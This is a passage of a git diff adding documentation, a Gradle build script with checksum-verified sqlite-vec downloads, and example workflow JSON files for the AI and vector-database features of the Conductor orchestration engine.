"schemaVersion": 2, + "tasks": [ + { + "name": "generate_video", + "taskReferenceName": "veo_video", + "type": "GENERATE_VIDEO", + "inputParameters": { + "llmProvider": "vertex_ai", + "model": "veo-3", + "prompt": "A time-lapse of a blooming flower in a sunlit garden, soft bokeh background", + "duration": 8, + "aspectRatio": "16:9", + "resolution": "720p", + "personGeneration": "dont_allow", + "generateAudio": true, + "negativePrompt": "blurry, low quality, text overlay", + "n": 1 + } + } + ] +} +``` + +### 10. Multi-Step Pipeline (Image + Video) + +A workflow that generates an image and a video in sequence: + +```json +{ + "name": "image_to_video_pipeline", + "version": 1, + "schemaVersion": 2, + "tasks": [ + { + "name": "generate_image", + "taskReferenceName": "source_image", + "type": "GENERATE_IMAGE", + "inputParameters": { + "llmProvider": "openai", + "model": "dall-e-3", + "prompt": "A serene mountain lake at dawn with mist rising from the water", + "width": 1792, + "height": 1024, + "n": 1 + } + }, + { + "name": "generate_video", + "taskReferenceName": "animated_video", + "type": "GENERATE_VIDEO", + "inputParameters": { + "llmProvider": "openai", + "model": "sora-2", + "prompt": "A serene mountain lake at dawn, gentle ripples spread across the water as mist slowly drifts", + "duration": 8, + "size": "1280x720", + "style": "cinematic" + } + } + ] +} +``` + +### 11. PDF Generation (Markdown to PDF) + +Generate a PDF document from markdown content with layout options and metadata: + +```json +{ + "name": "pdf_generation_workflow", + "version": 1, + "schemaVersion": 2, + "tasks": [ + { + "name": "generate_pdf", + "taskReferenceName": "pdf", + "type": "GENERATE_PDF", + "inputParameters": { + "markdown": "# Sales Report\n\n## Summary\n\nTotal revenue: **$5.4M**\n\n| Region | Revenue | Growth |\n|--------|---------|--------|\n| North America | $2.4M | +12% |\n| Europe | $1.8M | +8% |\n\n## Recommendations\n\n1. Expand APAC sales team\n2. Launch enterprise tier in EU\n\n> *Our best quarter yet.*", + "pageSize": "LETTER", + "theme": "default", + "pdfMetadata": { + "title": "Sales Report - Q4 2025", + "author": "Conductor Workflow" + } + } + } + ] +} +``` + +**Output:** +```json +{ + "result": { + "location": "file:///tmp/conductor/wf-123/task-456/abc.pdf", + "sizeBytes": 12345 + }, + "media": [ + { + "location": "file:///tmp/conductor/wf-123/task-456/abc.pdf", + "mimeType": "application/pdf" + } + ], + "finishReason": "COMPLETED" +} +``` + +### 12. LLM-to-PDF Pipeline (Report Generation) + +A multi-step workflow that uses an LLM to generate a markdown report and then converts it to PDF: + +```json +{ + "name": "llm_to_pdf_pipeline", + "version": 1, + "schemaVersion": 2, + "inputParameters": ["topic", "audience"], + "tasks": [ + { + "name": "generate_report_markdown", + "taskReferenceName": "llm_report", + "type": "LLM_CHAT_COMPLETE", + "inputParameters": { + "llmProvider": "openai", + "model": "gpt-4o-mini", + "messages": [ + { + "role": "system", + "message": "You are a professional report writer. Generate well-structured markdown reports." + }, + { + "role": "user", + "message": "Write a report about: ${workflow.input.topic}\nAudience: ${workflow.input.audience}" + } + ], + "temperature": 0.7, + "maxTokens": 2000 + } + }, + { + "name": "convert_to_pdf", + "taskReferenceName": "pdf_output", + "type": "GENERATE_PDF", + "inputParameters": { + "markdown": "${llm_report.output.result}", + "pageSize": "A4", + "pdfMetadata": { + "title": "${workflow.input.topic}", + "author": "Conductor AI Pipeline" + } + } + } + ], + "outputParameters": { + "reportMarkdown": "${llm_report.output.result}", + "pdfLocation": "${pdf_output.output.result.location}", + "pdfSizeBytes": "${pdf_output.output.result.sizeBytes}" + } +} +``` + +**Workflow Input:** +```json +{ + "topic": "Cloud Migration Best Practices", + "audience": "CTO and engineering leadership" +} +``` + +**Workflow Output:** +```json +{ + "reportMarkdown": "# Cloud Migration Best Practices\n\n## Executive Summary\n...", + "pdfLocation": "file:///tmp/conductor/wf-789/task-012/report.pdf", + "pdfSizeBytes": 28456 +} +``` + +### 13. LLM Tool Calling with MCP Tools + +Use `LLM_CHAT_COMPLETE` with the `tools` parameter to let the LLM autonomously decide when to call MCP tools. When the LLM needs to use a tool, it returns `finishReason: "TOOL_CALLS"` with the tool invocations. + +#### LLM Output with Tool Calls + +When the LLM decides to call tools, the output looks like this: + +```json +{ + "result": [], + "media": [], + "finishReason": "TOOL_CALLS", + "tokenUsed": 90, + "promptTokens": 75, + "completionTokens": 15, + "toolCalls": [ + { + "taskReferenceName": "call_2prFOIfVdwS4BTAi4Z43qPGe", + "name": "get_weather", + "type": "MCP_TOOL", + "inputParameters": { + "method": "get_weather", + "location": "Tokyo" + } + } + ] +} +``` + +> **Key Points:** +> - `finishReason: "TOOL_CALLS"` indicates the LLM wants to invoke tools +> - `toolCalls` array contains all tool invocations with their parameters +> - Each tool call has a unique `taskReferenceName` for workflow orchestration +> - The `configParams.mcpServer` in each tool definition specifies the MCP server URL + + +## Enable/Disable AI Workers + +### Global Enable/Disable + +AI workers are **disabled by default** for security. Enable them explicitly: + +```properties +# Enable all AI workers and integrations +conductor.integrations.ai.enabled=true +``` + +To disable: + +```properties +# Disable all AI workers (or simply omit the property) +conductor.integrations.ai.enabled=false +``` + +### Conditional Provider Registration + +Providers are automatically registered only when their API keys are configured. To disable a specific provider, simply remove or comment out its configuration: + +```properties +# OpenAI will be registered +conductor.ai.openai.api-key=sk-xxx + +# Anthropic will NOT be registered (commented out) +# conductor.ai.anthropic.api-key=sk-ant-xxx +``` + +### Environment-Based Configuration + +Use environment variables to control which providers are enabled in different environments: + +```bash +# Development - use local Ollama +export OLLAMA_BASE_URL=http://localhost:11434 +./gradlew bootRun + +# Production - use OpenAI and Anthropic +export OPENAI_API_KEY=sk-xxx +export ANTHROPIC_API_KEY=sk-ant-xxx +./gradlew bootRun +``` + +## Testing + +### Integration Tests + +The module includes integration tests that run against real APIs when credentials are provided via environment variables: + +```bash +# Run all tests (integration tests skipped if no API keys) +./gradlew :conductor-ai:test + +# Run with real OpenAI API +export OPENAI_API_KEY=sk-xxx +./gradlew :conductor-ai:test + +# Run without integration tests +env -u OPENAI_API_KEY -u ANTHROPIC_API_KEY ./gradlew :conductor-ai:test +``` + +### Test Environment Variables + +| Provider | Environment Variable | +|----------|---------------------| +| OpenAI | `OPENAI_API_KEY` | +| Anthropic | `ANTHROPIC_API_KEY` | +| Mistral | `MISTRAL_API_KEY` | +| Grok | `GROK_API_KEY` | +| Cohere | `COHERE_API_KEY` | +| HuggingFace | `HUGGINGFACE_API_KEY` | +| Perplexity | `PERPLEXITY_API_KEY` | +| Ollama | `OLLAMA_BASE_URL` | +| AWS Bedrock | `AWS_ACCESS_KEY_ID`, `AWS_SECRET_ACCESS_KEY` | +| Azure OpenAI | `AZURE_OPENAI_API_KEY`, `AZURE_OPENAI_ENDPOINT` | +| Gemini Vertex | `GOOGLE_CLOUD_PROJECT` | + +## License + +Copyright 2026 Conductor Authors. Licensed under the Apache License 2.0. diff --git a/ai/VECTORDB_CONFIGURATION.md b/ai/VECTORDB_CONFIGURATION.md new file mode 100644 index 0000000..632787c --- /dev/null +++ b/ai/VECTORDB_CONFIGURATION.md @@ -0,0 +1,331 @@ +# Vector Database Configuration + +This document describes the configuration format for vector databases in Conductor. + +## Overview + +Conductor supports multiple vector database providers with the ability to configure **multiple named instances** of each type. This allows you to: + +- Use multiple databases of the same type (e.g., multiple PostgreSQL instances) +- Connect to different environments (prod, dev, staging) +- Separate concerns by use case (embeddings, search, recommendations) + +## Supported Vector Databases + +- **PostgreSQL** (with pgvector extension) +- **MongoDB** (with Atlas Vector Search) +- **Pinecone** +- **SQLite** (with the [sqlite-vec](https://github.com/asg017/sqlite-vec) extension) — embedded, zero-infrastructure backend for local development, demos and small deployments + +## Configuration Format + +Vector databases are configured using a list-based approach under `conductor.vectordb.instances`: + +```yaml +conductor: + vectordb: + instances: + - name: "instance-name" # Unique identifier for this instance + type: "database-type" # Type: postgres, mongodb, pinecone, or sqlite + : # Configuration block for the database type + # ... type-specific properties +``` + +## Configuration Examples + +### Single PostgreSQL Instance + +```yaml +conductor: + vectordb: + instances: + - name: "postgres-main" + type: "postgres" + postgres: + datasourceURL: "jdbc:postgresql://localhost:5432/vectors" + user: "conductor" + password: "secret" + dimensions: 1536 + connectionPoolSize: 10 + indexingMethod: "hnsw" # Options: hnsw, ivfflat + distanceMetric: "cosine" # Options: l2, cosine, inner_product + tablePrefix: "conductor" +``` + +### Multiple PostgreSQL Instances + +```yaml +conductor: + vectordb: + instances: + - name: "postgres-prod" + type: "postgres" + postgres: + datasourceURL: "jdbc:postgresql://prod-db:5432/vectors" + user: "conductor" + password: "prod-secret" + dimensions: 1536 + + - name: "postgres-dev" + type: "postgres" + postgres: + datasourceURL: "jdbc:postgresql://dev-db:5432/vectors" + user: "conductor" + password: "dev-secret" + dimensions: 768 +``` + +### MongoDB Atlas Vector Search + +```yaml +conductor: + vectordb: + instances: + - name: "mongodb-embeddings" + type: "mongodb" + mongodb: + connectionString: "mongodb+srv://user:pass@cluster.mongodb.net/" + database: "conductor" + collection: "embeddings" + numCandidates: 100 +``` + +### Pinecone + +```yaml +conductor: + vectordb: + instances: + - name: "pinecone-search" + type: "pinecone" + pinecone: + apiKey: "your-pinecone-api-key" +``` + +### SQLite (sqlite-vec) + +```yaml +conductor: + vectordb: + instances: + - name: "sqlite-local" + type: "sqlite" + sqlite: + dbPath: "/var/lib/conductor/vectordb.db" # use ":memory:" for an ephemeral DB + dimensions: 1536 + distanceMetric: "cosine" # Options: l2, cosine, l1 + connectionPoolSize: 5 + tablePrefix: "conductor" + # extensionPath is optional — the native vec0 binary is bundled in the jar. + # Set it only to override with a custom build: + # extensionPath: "/opt/sqlite-vec/vec0" +``` + +> **The native `vec0` extension is bundled.** Conductor ships the official, checksum-pinned sqlite-vec +> loadable binaries for linux (x86_64/aarch64), macOS (x86_64/aarch64) and windows (x86_64) inside the +> AI jar, and extracts the right one at runtime — so `extensionPath` is normally unnecessary. Provide +> `extensionPath` (the file name without its platform suffix, e.g. `/opt/sqlite-vec/vec0`) only to +> override the bundled binary or to support a platform that is not bundled. sqlite-vec is pre-v1 and +> performs exact (brute-force) KNN with no ANN index, making it suitable for thousands to low-millions +> of vectors. + +### Zero-config default (SQLite persistence + AI) + +When the server runs with **both** `conductor.db.type=sqlite` and `conductor.integrations.ai.enabled=true`, +Conductor automatically registers a vector DB instance named **`default`** backed by the bundled +sqlite-vec extension — no `conductor.vectordb.instances` entry required. Workflows can target it with +`"vectorDB": "default"`. The defaults below can be overridden: + +```yaml +conductor: + vectordb: + sqlite-default: + name: "default" # instance name workflows reference + db-path: "" # default: a *_vectordb.db file next to the persistence DB + dimensions: 256 # must match the embedding model's output dimensions + distance-metric: "cosine" # l2, cosine or l1 + extension-path: "" # default: the bundled vec0 binary +``` + +An explicitly configured instance named `default` takes precedence over the auto-registered one. + +### Mixed Configuration (Multiple Types) + +```yaml +conductor: + vectordb: + instances: + - name: "postgres-prod" + type: "postgres" + postgres: + datasourceURL: "jdbc:postgresql://prod:5432/vectors" + user: "conductor" + password: "secret" + dimensions: 1536 + + - name: "pinecone-embeddings" + type: "pinecone" + pinecone: + apiKey: "pk-xxx" + + - name: "mongodb-cache" + type: "mongodb" + mongodb: + connectionString: "mongodb://localhost:27017" + database: "conductor" +``` + +## Usage in Workflows + +When using vector database tasks in your workflows, reference the instance by its configured name: + +```json +{ + "name": "store_embeddings", + "taskReferenceName": "store_embeddings_ref", + "type": "LLM_STORE_EMBEDDINGS", + "inputParameters": { + "vectorDB": "postgres-prod", + "index": "documents", + "namespace": "my_namespace", + "embeddings": "${embedding_task.output.embeddings}", + "metadata": { + "documentId": "${workflow.input.docId}" + } + } +} +``` + +## PostgreSQL Configuration Options + +| Property | Type | Default | Description | +|----------|------|---------|-------------| +| `datasourceURL` | String | Required | JDBC connection URL | +| `user` | String | Required | Database username | +| `password` | String | Required | Database password | +| `dimensions` | Integer | 256 | Vector dimensions | +| `connectionPoolSize` | Integer | 5 | Connection pool size | +| `indexingMethod` | String | "hnsw" | Index method (hnsw or ivfflat) | +| `distanceMetric` | String | "l2" | Distance metric (l2, cosine, inner_product) | +| `invertedListCount` | Integer | 100 | IVFFlat index parameter | +| `tablePrefix` | String | null | Prefix for table names | + +## MongoDB Configuration Options + +| Property | Type | Default | Description | +|----------|------|---------|-------------| +| `connectionString` | String | Required | MongoDB connection string | +| `database` | String | Required | Database name | +| `collection` | String | Optional | Collection name | +| `numCandidates` | Integer | Optional | Vector search parameter | + +## Pinecone Configuration Options + +| Property | Type | Default | Description | +|----------|------|---------|-------------| +| `apiKey` | String | Required | Pinecone API key | + +## SQLite Configuration Options + +| Property | Type | Default | Description | +|----------|------|---------|-------------| +| `dbPath` | String | Required | Path to the SQLite database file, or `:memory:` for an in-memory DB | +| `extensionPath` | String | bundled | Override path to the `vec0` extension (without platform suffix); defaults to the binary bundled in the jar | +| `dimensions` | Integer | 256 | Vector dimensions | +| `distanceMetric` | String | "l2" | Distance metric (l2, cosine, l1) | +| `connectionPoolSize` | Integer | 5 | Connection pool size (forced to 1 for `:memory:`) | +| `tablePrefix` | String | null | Prefix for table names | + +## Migration from Old Configuration + +### Old Format (Single Instance Per Type) + +```yaml +conductor: + vectordb: + postgres: + datasourceURL: "jdbc:postgresql://localhost:5432/vectors" + user: "conductor" + password: "secret" +``` + +### New Format (Named Instances) + +```yaml +conductor: + vectordb: + instances: + - name: "pgvectordb" # Use old type name for backward compatibility + type: "postgres" + postgres: + datasourceURL: "jdbc:postgresql://localhost:5432/vectors" + user: "conductor" + password: "secret" +``` + +**Note:** The type identifiers have been simplified: +- `pgvectordb` → `postgres` +- `mongovectordb` → `mongodb` +- `pineconedb` → `pinecone` + +However, for backward compatibility, you can still reference instances using the old type names if you name your instance accordingly. + +## Best Practices + +1. **Use descriptive names**: Choose instance names that clearly indicate their purpose (e.g., `postgres-prod`, `pinecone-embeddings-search`) + +2. **Separate environments**: Use different instances for different environments to avoid accidental data mixing + +3. **Optimize dimensions**: Configure `dimensions` to match your embedding model to avoid runtime errors + +4. **Connection pooling**: Adjust `connectionPoolSize` based on your workload and database capacity + +5. **Index selection**: + - Use `hnsw` for better query performance (default) + - Use `ivfflat` for faster indexing with slightly lower query performance + +6. **Distance metrics**: + - Use `cosine` for normalized embeddings + - Use `l2` (Euclidean) for absolute distances + - Use `inner_product` for dot product similarity + +## Troubleshooting + +### Instance Not Found + +If you see an error like "Vector DB instance not found: xyz", check: + +1. The instance name in your workflow matches the configured name exactly +2. The instance is properly configured in your application.yml/properties +3. The application has been restarted after configuration changes + +### PostgreSQL Connection Issues + +- Ensure pgvector extension is installed: `CREATE EXTENSION vector;` +- Verify JDBC URL format and network connectivity +- Check database user permissions + +### MongoDB Vector Search + +- Vector search requires MongoDB Atlas or MongoDB 6.0+ with Atlas Search +- Ensure vector search index is created on your collection +- Local MongoDB containers don't support vector search + +### Pinecone + +- Verify API key is valid and has necessary permissions +- Ensure index exists in your Pinecone account before using it + +### SQLite (sqlite-vec) + +- "no such function: load_extension" — extension loading is disabled; the backend enables it at the + driver level, so this usually means the driver in use does not permit it +- "no such module: vec0" — the `vec0` extension could not be loaded. The binary is bundled for common + platforms; if your platform is not bundled (the log shows "No bundled sqlite-vec extension for ..."), + install vec0 and set `extensionPath` to the compiled extension (Linux `.so`, macOS `.dylib`, Windows + `.dll`), ensuring it is readable by the server process +- "Embeddings must be of dimensions : N" — the instance's `dimensions` must equal the embedding model's + output size; for the auto-registered `default` instance set `conductor.vectordb.sqlite-default.dimensions` + or request that many dimensions from the embedding model +- Local-only: each instance maps to a single SQLite file on the server host and is not shared across + a cluster — use pgvector/Pinecone/MongoDB for distributed deployments diff --git a/ai/build.gradle b/ai/build.gradle new file mode 100644 index 0000000..1f79f99 --- /dev/null +++ b/ai/build.gradle @@ -0,0 +1,119 @@ +import java.security.MessageDigest + +plugins { + id 'java' +} + +repositories { + maven { url 'https://repo.spring.io/snapshot' } + maven { url 'https://repo.spring.io/milestone' } +} + +// --- sqlite-vec loadable extensions ------------------------------------------------------------- +// sqlite-vec has no Maven artifact and no JVM binding, so we download the official, checksum-pinned +// loadable binaries at build time and package them as jar resources under /sqlite-vec//. +// SqliteVecExtensions extracts the right one at runtime. Apache-2.0/MIT licensed, redistributable. +ext.sqliteVecVersion = '0.1.9' +ext.sqliteVecArtifacts = [ + 'linux-x86_64' : 'b959baa1d8dc88861b1edb337b8587178cdcb12d60b4998f9d10b6a82052d5d7', + 'linux-aarch64' : 'ea03d39541e478fab5974253c461e1cb5d77742f69e40cf96e3fad5bc309a37c', + 'macos-aarch64' : '8282126333399ddfe98bbbcc7a1936e7252625aac49df056a98be602e46bfd29', + 'macos-x86_64' : '53ad76e400786515e2edcaed2f01271dda846316390b761fadbd2dcf56aa4713', + 'windows-x86_64': '51581189d52066b4dfc6631f6d7a3eab7dedc2260656ab09ca97ab3fb8165983', +] +def sqliteVecResourceDir = layout.buildDirectory.dir('generated/resources/sqlite-vec') + +def downloadSqliteVec = tasks.register('downloadSqliteVec') { + description = 'Downloads, verifies and stages the sqlite-vec loadable extensions as jar resources.' + group = 'build' + inputs.property('version', sqliteVecVersion) + inputs.property('artifacts', sqliteVecArtifacts) + outputs.dir(sqliteVecResourceDir) + doLast { + def base = sqliteVecResourceDir.get().asFile + def cache = new File(temporaryDir, 'archives') + cache.mkdirs() + sqliteVecArtifacts.each { platform, expectedSha -> + def archive = new File(cache, "sqlite-vec-${platform}.tar.gz") + if (!archive.exists()) { + def url = "https://github.com/asg017/sqlite-vec/releases/download/v${sqliteVecVersion}/sqlite-vec-${sqliteVecVersion}-loadable-${platform}.tar.gz" + logger.lifecycle("Downloading sqlite-vec ${platform} from ${url}") + ant.get(src: url, dest: archive, verbose: false) + } + def digest = MessageDigest.getInstance('SHA-256') + archive.eachByte(64 * 1024) { buf, len -> digest.update(buf, 0, len) } + def actualSha = digest.digest().encodeHex().toString() + if (actualSha != expectedSha) { + throw new GradleException("Checksum mismatch for sqlite-vec ${platform}: expected ${expectedSha}, got ${actualSha}") + } + def platformDir = new File(base, "sqlite-vec/${platform}") + platformDir.mkdirs() + copy { + from tarTree(resources.gzip(archive)) + into platformDir + } + } + } +} + +// Register the task provider (not the bare directory) as a resource source dir so that every +// consumer of the resources — processResources, sourcesJar, etc. — automatically depends on +// downloadSqliteVec instead of racing it. +sourceSets.main.resources.srcDir(downloadSqliteVec) + +dependencies { + compileOnly 'org.springframework.boot:spring-boot-starter' + // Needed to compile A2A push-notification callback controller and AgentSpan activation glue; + // supplied by the server at runtime. + compileOnly 'org.springframework.boot:spring-boot-starter-web' + compileOnly 'org.springframework.boot:spring-boot-autoconfigure' + + implementation project(':conductor-common') + implementation project(':conductor-core') + + api "org.springframework.ai:spring-ai-model:${revSpringAI}" + api "org.springframework.ai:spring-ai-client-chat:${revSpringAI}" + api "org.springframework.ai:spring-ai-mistral-ai:${revSpringAI}" + api "org.springframework.ai:spring-ai-bedrock-converse:${revSpringAI}" + api "org.springframework.ai:spring-ai-ollama:${revSpringAI}" + + api "com.google.auth:google-auth-library-oauth2-http:1.33.0" + api "com.networknt:json-schema-validator:${revJSonSchemaValidator}" + + api("io.modelcontextprotocol.sdk:mcp-core:${revMCP}") + api "com.squareup.okhttp3:okhttp:4.12.0" + api "org.apache.commons:commons-lang3" + + // Markdown parsing and PDF generation + // Exclude openhtmltopdf-pdfbox (pulled in by flexmark-pdf-converter inside flexmark-all): + // it was compiled against fontbox 2.x and calls TTFParser.parse(InputStream) which was + // removed in fontbox 3.x, causing a NoSuchMethodError at runtime in GENERATE_PDF tasks. + // The custom MarkdownToPdfConverter uses PDFBox 3.x directly and does not need openhtmltopdf. + implementation("com.vladsch.flexmark:flexmark-all:${revFlexmark}") { + exclude group: "com.openhtmltopdf", module: "openhtmltopdf-pdfbox" + exclude group: "de.rototor.pdfbox", module: "graphics2d" + } + implementation "org.apache.pdfbox:pdfbox:3.0.5" + + //Vector Databases + + api "org.mongodb:mongodb-driver-sync:${mongodb}" + api "org.mongodb:mongodb-driver-core:${mongodb}" + api "org.mongodb:bson:${mongodb}" + api "io.pinecone:pinecone-client:${pinecone}" + api "com.pgvector:pgvector:${pgVector}" + // SQLite + sqlite-vec backend. The native vec0 extension is supplied by the operator at + // runtime (no JVM binding / Maven artifact exists); see SqliteConfig. + api "org.xerial:sqlite-jdbc:${sqliteJdbc}" + api "org.springframework.boot:spring-boot-starter-jdbc" + + + testImplementation 'org.springframework.boot:spring-boot-starter-web' + testImplementation "com.squareup.okhttp3:mockwebserver:4.12.0" + testImplementation "org.testcontainers:mongodb:${revTestContainer}" + testImplementation "org.testcontainers:postgresql:${revTestContainer}" + testImplementation "org.postgresql:postgresql:${revPostgres}" + testImplementation "org.apache.commons:commons-compress:${revCommonsCompress}" + testImplementation "com.h2database:h2:2.4.240" + +} diff --git a/ai/examples/01-chat-completion.json b/ai/examples/01-chat-completion.json new file mode 100644 index 0000000..cadf99b --- /dev/null +++ b/ai/examples/01-chat-completion.json @@ -0,0 +1,28 @@ +{ + "name": "chat_workflow", + "version": 1, + "schemaVersion": 2, + "tasks": [ + { + "name": "chat_task", + "taskReferenceName": "chat", + "type": "LLM_CHAT_COMPLETE", + "inputParameters": { + "llmProvider": "openai", + "model": "gpt-4o-mini", + "messages": [ + { + "role": "system", + "message": "You are a helpful assistant." + }, + { + "role": "user", + "message": "What is the capital of France?" + } + ], + "temperature": 0.7, + "maxTokens": 500 + } + } + ] +} diff --git a/ai/examples/02-generate-embeddings.json b/ai/examples/02-generate-embeddings.json new file mode 100644 index 0000000..90f8d8c --- /dev/null +++ b/ai/examples/02-generate-embeddings.json @@ -0,0 +1,17 @@ +{ + "name": "embedding_workflow", + "version": 1, + "schemaVersion": 2, + "tasks": [ + { + "name": "generate_embeddings", + "taskReferenceName": "embeddings", + "type": "LLM_GENERATE_EMBEDDINGS", + "inputParameters": { + "llmProvider": "openai", + "model": "text-embedding-3-small", + "text": "Conductor is an orchestration platform" + } + } + ] +} diff --git a/ai/examples/03-image-generation.json b/ai/examples/03-image-generation.json new file mode 100644 index 0000000..ac28167 --- /dev/null +++ b/ai/examples/03-image-generation.json @@ -0,0 +1,21 @@ +{ + "name": "image_gen_workflow", + "version": 1, + "schemaVersion": 2, + "tasks": [ + { + "name": "generate_image", + "taskReferenceName": "image", + "type": "GENERATE_IMAGE", + "inputParameters": { + "llmProvider": "openai", + "model": "dall-e-3", + "prompt": "A futuristic cityscape at sunset", + "width": 1024, + "height": 1024, + "n": 1, + "style": "vivid" + } + } + ] +} diff --git a/ai/examples/04-audio-generation.json b/ai/examples/04-audio-generation.json new file mode 100644 index 0000000..aec7b69 --- /dev/null +++ b/ai/examples/04-audio-generation.json @@ -0,0 +1,18 @@ +{ + "name": "tts_workflow", + "version": 1, + "schemaVersion": 2, + "tasks": [ + { + "name": "generate_audio", + "taskReferenceName": "audio", + "type": "GENERATE_AUDIO", + "inputParameters": { + "llmProvider": "openai", + "model": "tts-1", + "text": "Hello, this is a test of text to speech.", + "voice": "alloy" + } + } + ] +} diff --git a/ai/examples/05-semantic-search.json b/ai/examples/05-semantic-search.json new file mode 100644 index 0000000..c778576 --- /dev/null +++ b/ai/examples/05-semantic-search.json @@ -0,0 +1,35 @@ +{ + "name": "semantic_search_workflow", + "version": 1, + "schemaVersion": 2, + "tasks": [ + { + "name": "index_documents", + "taskReferenceName": "index", + "type": "LLM_INDEX_TEXT", + "inputParameters": { + "vectorDB": "postgres-prod", + "namespace": "documentation", + "index": "tech_docs", + "embeddingModelProvider": "openai", + "embeddingModel": "text-embedding-3-small", + "text": "Conductor is a workflow orchestration platform", + "docId": "doc_001" + } + }, + { + "name": "search_documents", + "taskReferenceName": "search", + "type": "LLM_SEARCH_INDEX", + "inputParameters": { + "vectorDB": "postgres-prod", + "namespace": "documentation", + "index": "tech_docs", + "embeddingModelProvider": "openai", + "embeddingModel": "text-embedding-3-small", + "query": "workflow orchestration", + "llmMaxResults": 5 + } + } + ] +} diff --git a/ai/examples/06-rag-basic.json b/ai/examples/06-rag-basic.json new file mode 100644 index 0000000..afb44c9 --- /dev/null +++ b/ai/examples/06-rag-basic.json @@ -0,0 +1,41 @@ +{ + "name": "rag_workflow", + "version": 1, + "schemaVersion": 2, + "tasks": [ + { + "name": "search_knowledge_base", + "taskReferenceName": "search", + "type": "LLM_SEARCH_INDEX", + "inputParameters": { + "vectorDB": "postgres-prod", + "namespace": "kb", + "index": "articles", + "embeddingModelProvider": "openai", + "embeddingModel": "text-embedding-3-small", + "query": "${workflow.input.question}", + "llmMaxResults": 3 + } + }, + { + "name": "generate_answer", + "taskReferenceName": "answer", + "type": "LLM_CHAT_COMPLETE", + "inputParameters": { + "llmProvider": "anthropic", + "model": "claude-3-5-sonnet-20241022", + "messages": [ + { + "role": "system", + "message": "Answer based on the following context: ${search.output.result}" + }, + { + "role": "user", + "message": "${workflow.input.question}" + } + ], + "temperature": 0.3 + } + } + ] +} diff --git a/ai/examples/07-rag-complete.json b/ai/examples/07-rag-complete.json new file mode 100644 index 0000000..df73875 --- /dev/null +++ b/ai/examples/07-rag-complete.json @@ -0,0 +1,96 @@ +{ + "name": "complete_rag_demo", + "description": "Index documents, search, and generate RAG answer", + "version": 1, + "schemaVersion": 2, + "tasks": [ + { + "name": "index_doc_1", + "taskReferenceName": "index_doc_1_ref", + "type": "LLM_INDEX_TEXT", + "inputParameters": { + "vectorDB": "postgres-prod", + "index": "demo_index", + "namespace": "demo_docs", + "docId": "intro-001", + "text": "Conductor is a distributed workflow orchestration engine that runs in the cloud. It allows developers to build complex stateful applications by orchestrating microservices.", + "embeddingModelProvider": "openai", + "embeddingModel": "text-embedding-3-small", + "dimensions": 1536, + "metadata": { "category": "introduction" } + } + }, + { + "name": "index_doc_2", + "taskReferenceName": "index_doc_2_ref", + "type": "LLM_INDEX_TEXT", + "inputParameters": { + "vectorDB": "postgres-prod", + "index": "demo_index", + "namespace": "demo_docs", + "docId": "features-002", + "text": "Conductor supports multiple vector databases including PostgreSQL (pgvector), MongoDB Atlas, and Pinecone. It also integrates with LLM providers like OpenAI, Anthropic, and Azure OpenAI.", + "embeddingModelProvider": "openai", + "embeddingModel": "text-embedding-3-small", + "dimensions": 1536, + "metadata": { "category": "features" } + } + }, + { + "name": "index_doc_3", + "taskReferenceName": "index_doc_3_ref", + "type": "LLM_INDEX_TEXT", + "inputParameters": { + "vectorDB": "postgres-prod", + "index": "demo_index", + "namespace": "demo_docs", + "docId": "config-003", + "text": "You can configure multiple named instances of the same vector database type for different environments like production, development, and staging.", + "embeddingModelProvider": "openai", + "embeddingModel": "text-embedding-3-small", + "dimensions": 1536, + "metadata": { "category": "configuration" } + } + }, + { + "name": "search_index", + "taskReferenceName": "search_ref", + "type": "LLM_SEARCH_INDEX", + "inputParameters": { + "vectorDB": "postgres-prod", + "index": "demo_index", + "namespace": "demo_docs", + "query": "What vector databases does Conductor support?", + "embeddingModelProvider": "openai", + "embeddingModel": "text-embedding-3-small", + "dimensions": 1536, + "maxResults": 3 + } + }, + { + "name": "generate_rag_answer", + "taskReferenceName": "answer_ref", + "type": "LLM_CHAT_COMPLETE", + "inputParameters": { + "llmProvider": "openai", + "model": "gpt-4o-mini", + "messages": [ + { + "role": "system", + "message": "You are a technical expert. Answer the question using only the provided context." + }, + { + "role": "user", + "message": "Context:\n${search_ref.output.result}\n\nQuestion: What vector databases does Conductor support?" + } + ], + "temperature": 0.2 + } + } + ], + "outputParameters": { + "indexed_docs": ["${index_doc_1_ref.output}", "${index_doc_2_ref.output}", "${index_doc_3_ref.output}"], + "search_results": "${search_ref.output.result}", + "answer": "${answer_ref.output.result}" + } +} diff --git a/ai/examples/08-mcp-list-tools.json b/ai/examples/08-mcp-list-tools.json new file mode 100644 index 0000000..07eeabf --- /dev/null +++ b/ai/examples/08-mcp-list-tools.json @@ -0,0 +1,15 @@ +{ + "name": "mcp_list_tools_workflow", + "version": 1, + "schemaVersion": 2, + "tasks": [ + { + "name": "list_mcp_tools", + "taskReferenceName": "list_tools", + "type": "LIST_MCP_TOOLS", + "inputParameters": { + "mcpServer": "http://localhost:3001/mcp" + } + } + ] +} diff --git a/ai/examples/09-mcp-call-tool.json b/ai/examples/09-mcp-call-tool.json new file mode 100644 index 0000000..8f1a2bb --- /dev/null +++ b/ai/examples/09-mcp-call-tool.json @@ -0,0 +1,18 @@ +{ + "name": "mcp_weather_workflow", + "version": 1, + "schemaVersion": 2, + "tasks": [ + { + "name": "get_weather", + "taskReferenceName": "weather", + "type": "CALL_MCP_TOOL", + "inputParameters": { + "mcpServer": "http://localhost:3001/mcp", + "method": "get_weather", + "location": "New York", + "units": "fahrenheit" + } + } + ] +} diff --git a/ai/examples/10-a2a-call-agent.json b/ai/examples/10-a2a-call-agent.json new file mode 100644 index 0000000..4c70173 --- /dev/null +++ b/ai/examples/10-a2a-call-agent.json @@ -0,0 +1,21 @@ +{ + "name": "a2a_agent", + "version": 1, + "schemaVersion": 2, + "tasks": [ + { + "name": "call_currency_agent", + "taskReferenceName": "agent", + "type": "AGENT", + "inputParameters": { + "agentType": "a2a", + "agentUrl": "http://localhost:9999", + "text": "convert 100 USD to EUR", + "pollIntervalSeconds": 5, + "headers": { + "Authorization": "Bearer ${workflow.input.agentToken}" + } + } + } + ] +} diff --git a/ai/examples/10-mcp-ai-agent.json b/ai/examples/10-mcp-ai-agent.json new file mode 100644 index 0000000..6090e96 --- /dev/null +++ b/ai/examples/10-mcp-ai-agent.json @@ -0,0 +1,62 @@ +{ + "name": "mcp_ai_agent_workflow", + "version": 1, + "schemaVersion": 2, + "tasks": [ + { + "name": "list_available_tools", + "taskReferenceName": "discover_tools", + "type": "LIST_MCP_TOOLS", + "inputParameters": { + "mcpServer": "http://localhost:3001/mcp" + } + }, + { + "name": "decide_which_tools_to_use", + "taskReferenceName": "plan", + "type": 